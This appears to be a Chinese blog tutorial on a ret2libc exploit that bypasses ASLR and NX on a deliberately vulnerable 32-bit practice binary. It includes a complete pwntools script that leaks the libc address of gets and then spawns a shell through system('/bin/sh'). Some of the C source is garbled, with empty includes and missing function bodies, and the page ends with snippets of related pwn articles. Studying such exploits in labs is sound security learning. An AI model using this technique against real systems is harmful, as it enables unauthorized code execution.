pwn學習 ret2libc繞過位址隨機化

2021-10-23 04:04:05 字數 3219 閱讀 1630

之前的實踐中,當我們開啟了棧不可執行,但是關閉了位址隨機化,我們可以通過找到system「/bin/sh」的位址,然後利用溢位跳轉到system「/bin/sh」的位址去執行,當然,這一切都基於關閉了位址隨機化,使得 system() 函式在記憶體中的位址是不會變化的,並且 libc.so 中也包含 「/bin/sh」 這個字串,這個字串的位址也是固定的。

那麼問題來了。。。。。。

如果我們想同時開啟了棧不可執行和位址隨機化,應該如何繞過呢?

那就先賣乙個關子,先逐步做下去,我們就會明白了

#include

char buf2[10]

="this is buf2"

;void vul()

void main()

可見在vul()裡的gets函式和write()均可輸入和溢位。

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
一般情況下,aslr預設情況下是開啟的,也可以通過下面這個命令開啟:

echo 2

>

/proc/sys/kernel/randomize_va_space

可以發現溢位點為22

cyclic 100

cyclic -l aaya

接下來我們通過ldd 9.exe來檢視libc的位址,可以發現每一次都是改變的。

system 函式屬於 libc,而 libc.so 動態鏈結庫中的函式之間相對偏移是固定的(即使開啟aslr也是這樣的)。

我們可以先洩漏出 libc.so 某些函式在記憶體中的位址,然後再利用洩漏出的函式位址根據偏移量計算出 system() 函式和 /bin/sh 字串在記憶體中的位址,然後再執行我們的 ret2libc 的 payload 就可以了。

from pwn import

*context

(arch=

"i386"

,os=

"linux")p=

process

("9.exe"

)//載入程序

e=elf

("9.exe"

)//載入elf檔案

addr_write=e.plt[

"write"

] addr_gets=e.got[

"gets"

]//gets函式的真實位址會存在它的got表裡

addr_vul=e.symbols[

"vul"

]//自定義的函式用符號表

print

pidof

(p)//可用於attach除錯

offset=

22pause

()

payload1=offset*

'a'+

p32(addr_write)

+p32

(addr_vul)

+p32(1

)+p32(addr_gets)

+p32(4

)p.sendlineafter

("sinxx"

,payload1)

//是指將在sinxx輸完之後 再輸入payload1

gets_real_addr=

u32(p.

recv(4

))//把字串變成32位位址

libc=

elf(

"/lib/i386-linux-gnu/libc.so.6"

) rva_libc=gets_real_addr-libc.symbols[

"gets"

]//算出偏移值

addr_system=rva_libc+libc.symbols[

"system"

]//找出system的真實位址

addr_binsh=rva_libc+libc.

search

("/bin/sh").

next()

//找出/bin/sh的真實位址,函式用symbols修飾,字串用search

payload2=offset*

'a'+

p32(addr_system)

+p32(0

)+p32(addr_binsh)

//和繞過位址不可執行的payload一樣

p.sendline

(payload2)

p.interactive

()

對exp的理解

1.elf檔案:在電腦科學中,是一種用於二進位制檔案、可執行檔案、目標**、共享庫和核心轉儲格式檔案。這個解釋讓人依舊很矇圈。

推薦一篇文章:

2.payload1的理解

先載入9.exe依賴的庫,ldd 9.exe看程式依賴什麼庫

用偏移值加上libc中system和「/bin/sh」的位址,就能得到system和/bin/sh的真實位址。這裡注意system是函式,用symbols修飾,/bin/sh是字串,用search修飾。

next()是用來查詢字串的,比如next(libc.search(』/bin/sh』))用來查詢包含/bin/sh(字串、某個函式或數值)的位址

乙個疑問

我開始以為write函式和gets函式都發生了溢位,後來明白兩次溢位均是gets函式,第一次呢,我們執行主函式的時候,先執行write函式,就會輸出sinxx,然後我們執行vul,這裡面有個陣列,然後我們利用gets函式溢位,使用write函式列印出那個addr_gets,然後我們執行完之後,又會

跳到這個vul函式,再次溢位並執行payload2。

執行python 9.py

PWN基礎17 Ret2Libc 64位例項

1 復現一下ret2libc 32位下的記憶體布局 針對這張圖,我們在上一節做了細緻的分析 32位的呼叫方式 64位的呼叫方式 這節課,我們研究的原始碼 include char buf2 10 ret2libc is good void vul void main 使用如下指令編譯 gcc no ...

PWN基礎18 ret2libc 補充例項 學習

今天我們學習ret2libc1 先來檢查一下保護情況,開啟了nx保護 使用如下命令查詢一下system函式 再來找一下字串 此時再來計算一下溢位偏移 exp如下 exp.py from pwn import context arch i386 os linux log level debug p p...

Ret2Syscall繞過NX ASLR保護

ret2syscall,即控制程式執行系統呼叫,進而獲取shell。下面看看我們的vuln程式。可以看出,程式中的gets有明顯的 溢位漏洞 用gdb開啟,檢查一下檔案開啟了哪些防護 可以看出程式開啟了 nx 棧不可執行 防護,那麼,我們可以用rop繞過防護 接來下,我們利用溢位漏洞來控制程式執行s...